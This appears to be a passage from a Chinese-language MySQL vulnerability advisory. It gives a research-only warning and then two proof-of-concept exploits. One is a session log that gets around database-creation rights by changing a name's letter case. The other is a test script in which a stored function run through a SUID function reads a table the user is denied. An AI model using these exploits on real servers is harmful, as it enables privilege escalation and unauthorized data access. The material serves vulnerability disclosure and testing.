测试方法：

【警 告：以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！】

1、创建数据库


$ mysql -h my.mysql.server -u sample -p -A sample
Enter password:
Welcome to the MySQL monitor. Commands end with ; or g.
Your MySQL connection id is 263935 to server version: 4.1.16-standard

mysql> create database another;
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'

mysql> create database sAmple;
Query OK, 1 row affected (0.00 sec)


2、权限提升


--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings

# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;

use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;

# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|

# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;

connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;